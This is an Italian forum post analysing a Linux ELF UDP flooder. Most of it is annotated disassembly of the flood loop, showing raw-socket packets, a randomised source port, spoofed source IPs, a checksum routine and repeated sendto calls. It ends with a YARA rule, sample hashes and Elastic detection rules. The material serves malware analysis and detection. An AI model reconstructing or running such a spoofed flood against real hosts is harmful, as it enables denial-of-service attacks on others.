    0x0040102a test eax, eax
    0x0040102c jns 0x40105c
    0x0040102e mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
    0x00401035 mov rdx, rax
    0x00401038 mov eax, str.Error:_setsockopt_____Cannot_set_HDRINCL__n ; 0x4015c8 ; "Error: setsockopt() - Cannot set HDRINCL!\n"
    0x0040103d mov rcx, rdx ; FILE *stream
    0x00401040 mov edx, 0x2a ; '*' ; 42 ; size_t nitems
    0x00401045 mov esi, 1 ; size_t size
    0x0040104a mov rdi, rax ; const void *ptr
    0x0040104d call sym.imp.fwrite ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
    0x00401052 mov edi, 0xffffffff ; -1 ; int status
    0x00401057 call sym.imp.exit ; void exit(int status)

    ;stampa "Error: setsockopt() - Cannot set HDRINCL!\n" ed esce con error status -1.

    0x0040105c mov dword [var_18h], 0
    0x00401063 lea rcx, [rbp - 0x2050]
    0x0040106a mov rax, qword [var_38h]
    0x0040106e movzx eax, word [rax + 2]
    0x00401072 movzx edx, ax
    0x00401075 lea rbx, [rbp - 0x2040]
    0x0040107c mov eax, dword [sockfd]
    0x0040107f mov r9d, 0x10 ; 16
    0x00401085 mov r8, rcx
    0x00401088 mov ecx, 0
    0x0040108d mov rsi, rbx
    0x00401090 mov edi, eax
    0x00401092 call sym.imp.sendto

    ;#include <sys/socket.h>
    ;
    ;ssize_t sendto(int socket, const void *message, size_t length,
    ;int flags, const struct sockaddr *dest_addr,
    ;socklen_t dest_len);
    ;%rdi fd
    ;%rsi buff
    ;%rdx len
    ;%r10 flags
    ;%r8 addr
    ;%r9 addr_len

    ;la funzione sendto() viene utilizzata per trasmettere un messaggio a un altro socket; si può usare send() solo quando il socket è in uno stato connesso; sendto() si può usare in qualsiasi momento; l'indirizzo del target è dato da *dest_addr, con dest_len che ne specifica la dimensione; la lunghezza del messaggio è data da length.

    0x00401097 call sym.imp.rand ; int rand(void)
    0x0040109c mov ecx, eax
    0x0040109e mov edx, 0x80008001
    0x004010a3 mov eax, ecx
    0x004010a5 imul edx
    0x004010a7 lea eax, [rdx + rcx]
    0x004010aa mov edx, eax
    0x004010ac sar edx, 0xf
    0x004010af mov eax, ecx
    0x004010b1 sar eax, 0x1f
    0x004010b4 sub edx, eax
    0x004010b6 mov eax, edx
    0x004010b8 shl eax, 0x10
    0x004010bb sub eax, edx
    0x004010bd mov edx, ecx
    0x004010bf sub edx, eax
    0x004010c1 mov eax, edx
    0x004010c3 movzx eax, ax
    0x004010c6 mov edi, eax
    0x004010c8 call sym.imp.htons

    ;ottiene qualcosa in network byte order, presumibilmente la porta mittente.

    0x004010cd mov rdx, qword [var_30h]
    0x004010d1 mov word [rdx], ax

    ;e lo va a mettere dove punta rdx.

    0x004010d4 call sym.imp.rand ; int rand(void)
    0x004010d9 mov ecx, eax
    0x004010db mov edx, 0x2aaaaaab
    0x004010e0 mov eax, ecx
    0x004010e2 imul edx
    0x004010e4 mov eax, ecx
    0x004010e6 sar eax, 0x1f
    0x004010e9 sub edx, eax
    0x004010eb mov eax, edx
    0x004010ed add eax, eax
    0x004010ef add eax, edx
    0x004010f1 add eax, eax
    0x004010f3 mov edx, ecx
    0x004010f5 sub edx, eax
    0x004010f7 lea eax, [rdx + 1]
    0x004010fa mov dword [var_14h], eax
    0x004010fd cmp dword [var_14h], 1

    0x00401101 jne 0x40111d
    0x00401103 call sym.rand_cmwc
    0x00401108 shr eax, 0x10
    0x0040110b shl eax, 0x18
    0x0040110e mov edx, eax
    0x00401110 or edx, 0x40f942
    0x00401116 mov rax, qword [var_38h]
    0x0040111a mov dword [rax + 0xc], edx
    ;CODE XREF from sym.flood @ 0x401101
    0x0040111d cmp dword [var_14h], 2

    0x00401121 jne 0x40113d
    0x00401123 call sym.rand_cmwc
    0x00401128 shr eax, 0x10
    0x0040112b shl eax, 0x18
    0x0040112e mov edx, eax
    0x00401130 or edx, 0x4144ac
    0x00401136 mov rax, qword [var_38h]
    0x0040113a mov dword [rax + 0xc], edx
    ;CODE XREF from sym.flood @ 0x401121
    0x0040113d cmp dword [var_14h], 3

    0x00401141 jne 0x40115d
    0x00401143 call sym.rand_cmwc
    0x00401148 shr eax, 0x10
    0x0040114b shl eax, 0x18
    0x0040114e mov edx, eax
    0x00401150 or edx, 0xb44ac
    0x00401156 mov rax, qword [var_38h]
    0x0040115a mov dword [rax + 0xc], edx
    ;CODE XREF from sym.flood @ 0x401141
    0x0040115d cmp dword [var_14h], 4

    0x00401161 jne 0x40117d
    0x00401163 call sym.rand_cmwc
    0x00401168 shr eax, 0x10
    0x0040116b shl eax, 0x18
    0x0040116e mov edx, eax
    0x00401170 or edx, 0xdda26c
    0x00401176 mov rax, qword [var_38h]
    0x0040117a mov dword [rax + 0xc], edx
    ;CODE XREF from sym.flood @ 0x401161
    0x0040117d cmp dword [var_14h], 5

    0x00401181 jne 0x40119d
    0x00401183 call sym.rand_cmwc
    0x00401188 shr eax, 0x10
    0x0040118b shl eax, 0x18
    0x0040118e mov edx, eax
    0x00401190 or edx, 0xe5a26c
    0x00401196 mov rax, qword [var_38h]
    0x0040119a mov dword [rax + 0xc], edx
    ;CODE XREF from sym.flood @ 0x401181
    0x0040119d cmp dword [var_14h], 6

    0x004011a1 jne 0x4011bd
    0x004011a3 call sym.rand_cmwc
    0x004011a8 shr eax, 0x10
    0x004011ab shl eax, 0x18
    0x004011ae mov edx, eax
    0x004011b0 or edx, 0xeda26c
    0x004011b6 mov rax, qword [var_38h]
    0x004011ba mov dword [rax + 0xc], edx

    ;va ad impostare l'IP mittente casuale

    0x004011bd mov edx, dword [rbp - 0x204c]
    0x004011c3 mov rax, qword [var_38h]
    0x004011c7 mov dword [rax + 0x10], edx
    0x004011ca mov rax, qword [var_38h]
    0x004011ce movzx eax, word [rax + 2]
    0x004011d2 shr ax, 1
    0x004011d5 movzx edx, ax
    0x004011d8 lea rax, [rbp - 0x2040]
    0x004011df mov esi, edx ; signed int64_t arg2
    0x004011e1 mov rdi, rax ; int64_t arg1
    0x004011e4 call sym.csum
    0x004011e9 mov rdx, qword [var_38h]
    0x004011ed mov word [rdx + 0xa], ax

    ;come parametri in ingresso la funzione sym.csum riceve l'IP vittima e presumibilmente la lunghezza del pacchetto IP; var_38h punta alla struttura dell'header IP, quindi var_38h + 2 è il campo della lunghezza del pacchetto.

    ;il checksum nella struttura dell'header IP è impostato a valori come : 0x46f1. 0x1656, 0x0d92 etc. Wireshark mi dice [validation disabled], mentre Header checksum status è impostato su Unverified;

    ;in contesti di attacco o analisi di malware, la presenza di checksum non verificati potrebbe indicare una manipolazione intenzionale del pacchetto; questo potrebbe avere un impatto sulla percezione della vittima riguardo all'integrità dei pacchetti, ma non influisce direttamente sulla velocità di ricezione; inserire checksum casuali o non verificati potrebbe essere una tecnica utilizzata per confondere o mascherare l'intento dell'attacco; questo potrebbe far sembrare i pacchetti più legittimi o meno sospetti, rendendo più difficile per la vittima rilevare o filtrare gli attacchi in base a un controllo di integrità del pacchetto.

    0x004011f1 cmp dword [var_18h], 5
    0x004011f5 ne 0x401208
    0x004011f7 mov edi, 0 ; int s
    0x004011fc call sym.imp.usleep ; int usleep(int s)
    0x00401201 mov dword [var_18h], 0
    ;CODE XREF from sym.flood @ 0x4011f5
    0x00401208 add dword [var_18h], 1
    0x0040120c jmp 0x401063

    ;compara var_18 a 5, se non è uguale chiama usleep, incremente var_18h, e ritorna indietro per trasmettere il prossimo pacchetto UDP con la funzione sendto().

    ------------------------------------------------------------------------------

    Hybrid Analysis: https://hybrid-analysis.com/sample/d16e852...56d75599c0f6c62
    VirusTotal: www.virustotal.com/gui/file/d16e85...0d3e0/detection

    ------------------------------------------------------------------------------

    YARA Rule : ELFlooder.yara

    rule ELFlooder
    {
    meta:
    description = "Malware ELF Flooder"
    strings:
    $sniff0 = "192.168.3.100"
    $sniff1 = "TS3INIT1" nocase
    $sniff2 = "Could not open raw socket.\n" nocase
    $sniff3 = "flood" nocase fullword
    $sniff4 = "Starting Flood...\n" nocase fullword
    $sniff5 = "Usage: %s <target IP> <port> <throttle> <time>\n" nocase
    $sniff6 = "Setting up Sockets...\n" nocase
    $sniff7 = "Coded By: r00t @ root\n" nocase

    condition:
    all of them
    }

    https://hybrid-analysis.com/sample/751f42e...12b6faa4f05784d

    ;malware che triggera la stessa rule YARA, e che la Community su VirusTotal associa ad una analisi di Joe Sandbox dove viene mostrato che lo stesso si connette ad ipotetici IP (tralaltro non malevoli); stessa cosa per il nostro malware; in realtà sottoponendo questo malware all'analisi di Hybrid Analysis questo non è evidenziato, come anche per il secondo, cosa che ci fa supporre l'inesistenza di questi ipotetici C2.

    ------------------------------------------------------------------------------

    RootA Rules

    name: ELFlooder
    details: UDP ELF Malware Flooder that has a Payload marked with the string TS3INIT1
    author: BZ
    severity: Medium
    date: 16/11/2023
    mitre-attack:
    - T1498
    - T1498.001
    - T1498.002
    detection:
    language: elastic-lucene-query
    body: index=* ((file.hash:d16e852f979d3c7f97e74b39c8901a64b40647504ff1e9cd41f88f0405c0d3e0) OR (file.hash:751f42e1303ba2e365cf95ac9b859ec74160133d6ea6ffda962a924e975228e4))
    references:
    - https://spaghetti-hacker.blogfree.net/?t=6470466
    tags: ELF, csum, rand_cmwc, flood
    license: DRL 1.1

    name: ELFlooder
    details: UDP ELF Malware Flooder that has a Payload marked with the string TS3INIT1
    author: BZ
    severity: Medium
    date: 16/11/2023
    mitre-attack:
    - T1498
    - T1498.001
    - T1498.002
    detection:
    language: elastic-lucene-query
    body: ((source.ip:(66.49.0.0/16 OR 108.162.221.0/24 OR 108.162.229.0/24 OR 108.162.237.0/24 OR 172.68.0.0/16)) AND network.transport:udp AND payload.string:TS3INIT1)
    references:
    - https://spaghetti-hacker.blogfree.net/?t=6470466
    tags: flood, TS3INIT1, ELF, csum, rand_cmwc
    license: DRL 1.1


    Edited by HCF - 27/4/2024, 20:05
      Share  
     
    .